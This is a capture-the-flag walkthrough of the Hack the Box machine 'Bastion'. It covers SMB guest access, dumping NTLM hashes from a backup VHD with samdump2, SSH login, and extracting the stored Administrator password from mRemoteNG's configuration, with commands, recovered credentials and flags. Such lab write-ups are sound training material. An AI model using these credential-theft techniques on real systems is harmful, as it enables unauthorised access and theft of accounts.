


Hack the Box – Bastion

As normal I add the IP of the machine 10.10.10.134 to /etc/hosts as bastion.htb



NMAP

To start off with, I perform a port discovery to see what I could find.

nmap -p- -sT -sV -sC -oN initial-scan bastion.htb

```
# Nmap 7.70 scan initiated Sat Apr 27 21:47:25 2019 as: nmap -p- -sT -sV -sC -oN initial-scan.nmap bastion.htb
Nmap scan report for bastion.htb (10.10.10.134)
Host is up (0.045s latency).
Not shown: 65522 closed ports
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH for_Windows_7.9 (protocol 2.0)
|_ ssh-hostkey:
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256  cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256  93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds   Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp   open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
47001/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
49664/tcp  open  msrpc          Microsoft Windows RPC
49665/tcp  open  msrpc          Microsoft Windows RPC
49666/tcp  open  msrpc          Microsoft Windows RPC
49667/tcp  open  msrpc          Microsoft Windows RPC
49668/tcp  open  msrpc          Microsoft Windows RPC
49669/tcp  open  msrpc          Microsoft Windows RPC
49670/tcp  open  msrpc          Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: mean: -45m26s, deviation: 1h09m16s, median: -5m27s
|_ smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\X00
|   Workgroup: WORKGROUP\X00
|   System time: 2019-04-27T22:43:29+02:00
|_ smb-security-mode:
|   account used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ smb2-security-mode:
|   2.02:
|_ Message signing enabled but not required
|_ smb2-time:
|   date: 2019-04-27 21:43:32
|_ start_date: 2019-04-27 19:55:10
```

It seems we have discovered a few ports open. I chose not to perform a UDP scan at this point in the exercise. It seems we have SSH on port 22, 135, 139 and 445 for NETBIOS and some others I may look at later, those being 5985 and 47001

SMB

Let's take a quick look at SMB and see what we can enumerate.

smbmap -d BASTION -H bastion.htb -u guest


```
root@thp3:/opt/htb/bastion.htb# smbmap -d BASTION -H bastion.htb -u guest
[+] Finding open SMB ports....
[+] User SMB session established on bastion.htb...
[+] IP: bastion.htb:445 Name: bastion.htb
Disk                                     Permissions
----                                     -
ADMIN$                                  NO ACCESS
Backups                                READ, WRITE
[!] Unable to remove test directory at \\bastion.htb\Backups\WrrTYSjoBx, please remove manually
C$                                      NO ACCESS
IPC$                                    READ ONLY
```

Knowing that I would have access to this machine over SMB, I decided to switch to a Windows box to enumerate a little quicker. I loaded up a Windows 10 virtual machine and tried to connect to the Backups shared folder.

```
C:\Program Files (x86)\mRemoteNG>net use z: \\bastion.htb\Backups /user:BASTION\guest ""
The command completed successfully.
```

VHD

Now that I had access to the folder share



Browsing through the Backups folder, I came across a VHD which was labelled as a PC backup named **L4mpje-PC**. I decided to open this up with 7-zip to see what was inside, and after browsing the folders, it was clear this was a backup of a machine.

I instantly went for the SAM and SYSTEM file to pull off to see if I could get the user and password.

Z:\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd\Windows\System32\config\

File Edit View Favorites Tools Help

Add Extract Test Copy Move Delete Info

Z:\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd\Windows\System32\config\

Name	Size	Packed Size	Modified	Created	Accessed	Attributes
COMPONENTS{6cced2ec-...	65 536	65 536	2019-02-22 13:38	2019-02-22 13:38	2019-02-22 13:38	HSA
COMPONENTS{6cced2ec-...	1 048 576	1 048 576	2019-02-22 13:38	2019-02-22 13:38	2019-02-22 13:38	HSA
COMPONENTS{6cced2ec-...	1 048 576	1 048 576	2019-02-22 13:38	2019-02-22 13:38	2019-02-22 13:38	HSA
COMPONENTS{6cced2ec-...	1 048 576	1 048 576	2019-02-22 13:38	2019-02-22 13:38	2019-02-22 13:38	HSA
BCD-Template	28 672	28 672	2019-02-22 22:37	2009-07-14 05:52	2019-02-22 22:37	A
BCD-Template.LOG	25 600	28 672	2019-02-22 22:37	2009-07-14 05:57	2009-07-14 05:57	HSA
COMPONENTS	30 932 992	30 932 992	2019-02-22 13:43	2009-07-14 03:03	2019-02-22 13:38	A
COMPONENTS.LOG	1 024	4 096	2011-04-12 03:23	2009-07-14 08:17	2011-04-12 03:23	HA
COMPONENTS.LOG1	262 144	262 144	2019-02-22 13:43	2009-07-14 03:03	2009-07-14 03:03	HA
COMPONENTS{6cced2ed...	65 536	65 536	2019-02-22 13:38	2009-07-14 05:42	2009-07-14 05:42	HSA
COMPONENTS{6cced2ed...	524 288	524 288	2019-02-22 13:38	2009-07-14 05:42	2009-07-14 05:42	HSA
DEFAULT	262 144	262 144	2019-02-22 13:43	2009-07-14 03:03	2019-02-22 13:38	A
DEFAULT.LOG	1 024	4 096	2011-04-12 03:23	2009-07-14 08:17	2011-04-12 03:23	HA
DEFAULT.LOG1	91 136	98 304	2019-02-22 13:43	2009-07-14 03:03	2009-07-14 03:03	HA
SAM	262 144	262 144	2019-02-22 13:39	2009-07-14 03:03	2019-02-22 13:38	A
SAM.LOG	1 024	4 096	2011-04-12 03:23	2009-07-14 08:17	2011-04-12 03:23	HA
SAM.LOG1	21 504	24 576	2019-02-22 13:39	2009-07-14 03:03	2009-07-14 03:03	HA
SECURITY	262 144	262 144	2019-02-22 13:43	2009-07-14 03:03	2019-02-22 13:38	A
SECURITY.LOG	1 024	4 096	2011-04-12 03:23	2009-07-14 08:17	2011-04-12 03:23	HA
SECURITY.LOG1	21 504	24 576	2019-02-22 13:43	2009-07-14 03:03	2009-07-14 03:03	HA
SOFTWARE	24 117 248	24 117 248	2019-02-22 13:43	2009-07-14 03:03	2019-02-22 13:38	A
SOFTWARE.LOG	1 024	4 096	2011-04-12 03:23	2009-07-14 08:17	2011-04-12 03:23	HA
SOFTWARE.LOG1	262 144	1 835 008	2019-02-22 13:43	2009-07-14 03:03	2009-07-14 03:03	HA
SYSTEM	9 699 328	9 699 328	2019-02-22 13:43	2009-07-14 03:03	2019-02-22 13:38	A
SYSTEM.LOG	1 024	4 096	2011-04-12 03:23	2009-07-14 08:17	2011-04-12 03:23	HA
SYSTEM.LOG1	262 144	3 670 016	2019-02-22 13:43	2009-07-14 03:03	2009-07-14 03:03	HA

I transferred these to my kali machine to extract the hashes. I run `samdump2` to get this information from the database.

`samdump2 SYSTEM SAM > passes.txt`


```
root@thp3:/opt/htb/bastion.htb# samdump2 SYSTEM SAM > passes.txt
root@thp3:/opt/htb/bastion.htb# cat passes.txt
*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
```

I had a user and a hash. Now it was time to see if this is on any known hashed password sites before I attempt to crack it.

L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

The user is **L4mpje** and the password hash is **26112010952d963c8dc4217daec986d9**

I went over to <https://hashkiller.co.uk/Cracker/NTLM> to see if the password was already in there.



It was already in their database therefore there was no need for me to brute the password.

The password is **bureaulampje**.

SSH

Now that I had the username and password, I went back to basics and had to think where these could be used and then remembered these could possibly be used on SSH. Although the dump only revealed one user, surely SSH has been installed for this very reason.

Let's see if we can get access. I went back to my kali machine again for this.

ssh l4mpje@bastion.htb

I was presented with a windows command prompt.

```
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

l4mpje@BASTION C:\Users\L4mpje>
```

Let's see what we can find. I instantly went to the Desktop knowing this normally contains the folder for the user hash.

```
l4mpje@BASTION C:\Users\L4mpje>cd Desktop

l4mpje@BASTION C:\Users\L4mpje\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 0CB3-C487

Directory of C:\Users\L4mpje\Desktop

22-02-2019  16:27    <DIR>          .
22-02-2019  16:27    <DIR>          ..
23-02-2019  10:07                32 user.txt
               1 File(s)                32 bytes
               2 Dir(s)  11.395.891.200 bytes free

l4mpje@BASTION C:\Users\L4mpje\Desktop>type user.txt
9bfe57d5c3309db3a151772f9d86c6cd
l4mpje@BASTION C:\Users\L4mpje\Desktop>
```

Success, the user hash is complete.

Now that I had this, it was time to do a little bit more enumeration of the OS to see what else was on it.

mRemoteNG

Browsing through the system, I could not see anything obvious until I came across an application that I had not heard of before that had been installed. This was called mRemoteNG, so I decided to investigate the application for any known exploits or vulnerabilities.

```

l4mpje@BASTION C:\Users\L4mpje\Desktop>cd "\\Program Files (x86)"

l4mpje@BASTION C:\Program Files (x86)>dir
Volume in drive C has no label.
Volume Serial Number is 0CB3-C487

Directory of C:\Program Files (x86)

22-02-2019  15:01    <DIR>          .
22-02-2019  15:01    <DIR>          ..
16-07-2016  15:23    <DIR>          Common Files
23-02-2019  10:38    <DIR>          Internet Explorer
16-07-2016  15:23    <DIR>          Microsoft.NET
22-02-2019  15:01    <DIR>          mRemoteNG
23-02-2019  11:22    <DIR>          Windows Defender
23-02-2019  10:38    <DIR>          Windows Mail
23-02-2019  11:22    <DIR>          Windows Media Player
16-07-2016  15:23    <DIR>          Windows Multimedia Platform
16-07-2016  15:23    <DIR>          Windows NT
23-02-2019  11:22    <DIR>          Windows Photo Viewer
16-07-2016  15:23    <DIR>          Windows Portable Devices
16-07-2016  15:23    <DIR>          WindowsPowerShell
               0 File(s)                0 bytes
              14 Dir(s) 11.395.891.200 bytes free

```

After a bit of searching, I came across an article about cracking the password hash from the application. Or rather, a weakness that was exposed within the application to expose the password.

<http://www.kayhankayihan.com/mremote-password-hash-crack/>

I decided to install mRemoteNG onto my windows vm. During the install and first run of the application, I realised it was looking for a confcons.xml file that was currently blank. I had to get the version from the bastion host and transfer it across to my windows vm.

I did a quick directory search for the file and came up with it in the following directory.

```

cd \
dir confcons.xml /s /p

```

This provided me with the directory location.

```

Directory of C:\Users\L4mpje\AppData\Roaming\mRemoteNG
22-02-2019  15:03      <DIR>          .
22-02-2019  15:03      <DIR>          ..
22-02-2019  15:03          6.316  confCons.xml
22-02-2019  15:02          6.194  confCons.xml.20190222-1402277353.backup
22-02-2019  15:02          6.206  confCons.xml.20190222-1402339071.backup
22-02-2019  15:02          6.218  confCons.xml.20190222-1402379227.backup
22-02-2019  15:02          6.231  confCons.xml.20190222-1403070644.backup
22-02-2019  15:03          6.319  confCons.xml.20190222-1403100488.backup
22-02-2019  15:03          6.318  confCons.xml.20190222-1403220026.backup
22-02-2019  15:03          6.315  confCons.xml.20190222-1403261268.backup
22-02-2019  15:03          6.316  confCons.xml.20190222-1403272831.backup
22-02-2019  15:03          6.315  confCons.xml.20190222-1403433299.backup
22-02-2019  15:03          6.316  confCons.xml.20190222-1403486580.backup
22-02-2019  15:03          51  extApps.xml
29-04-2019  19:46          8.742  mRemoteNG.log
22-02-2019  15:03          2.245  pnlLayout.xml
22-02-2019  15:01      <DIR>          Themes
                14 File(s)            80.102 bytes
                3 Dir(s)       11.397.853.184 bytes free

```

Now that I know the location of the file, I checked its contents first to see if the administrator password was stored within the file as a hashed password and could see one available.

type confcons.xml

```

l4mpje@BASTION C:\Users\L4mpje\AppData\Roaming\mRemoteNG>type confCons.xml
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GC
M" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1i01f5JKdtIKL6eUg+eWkL5tK0886au0oFPW0
oop8R8ddXKAX4KK7sAk6AA" ConfVersion="2.6">
  <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Userna
me="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QtdT9kvqtkCPCeoC0Nw5dmaPFjN02kt/z05xDqE4HdVmHAowVRdC7emf7lWwA10dQKiW=="
  Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" Rend
eringEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeo
ut="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" Disp
layThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" R

```

I then transferred it to my kali machine and then across to the windows virtual machine. Little bit long winded I know, but I am so used to using the kali machine, it came naturally to transfer it to that machine.


scp l4mpje@bastion.htb:/C:/Users/L4mpje/AppData/Roaming/mRemoteNG/confcons.xml .

```


root@thp3:/opt/htb/bastion.htb# scp l4mpje@bastion.htb:/C:/Users/L4mpje/AppData/Roaming/mRemoteNG/confcons.xml .
l4mpje@bastion.htb's password:
confcons.xml
100% 6316 179.6KB/s 00:00

```

I then put this to my windows vm and replaced the original file with the downloaded one from the bastion host.



Now that the file had been replaced, I open the mRemoteNG application.




As the article stated, I created the new external tool with the following parameters;

Display name: ParolaGoster


Filename: cmd

Arguments: /k echo %password%

Once this was created I clicked on DC and chose External Tools and then ParolaGoster.



This then opened a command prompt displaying what is said to be the administrator password.




The password stated it is **thXLHM96BeKL0ER2**

Let's see if this password can be used with the administrator account over SSH


[Rooted](#)

I attempted to get in via SSH with the password that I had obtained.

ssh administrator@bastion.htb



Now that I had administrator access, it was time to view the root hash.

A screenshot of a Windows command prompt window. The title bar is red and contains the Windows logo. The text inside the window shows the system version and copyright information, followed by two commands and their output. The first command changes the directory to the Desktop, and the second command types the contents of a file named root.txt, which is a long hexadecimal string.

```
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

administrator@BASTION C:\Users\Administrator>cd Desktop

administrator@BASTION C:\Users\Administrator\Desktop>type root.txt
958850b91811676ed6620a9c430e65c8
administrator@BASTION C:\Users\Administrator\Desktop>
```

A simple browse to the administrator Desktop and the output the root.txt.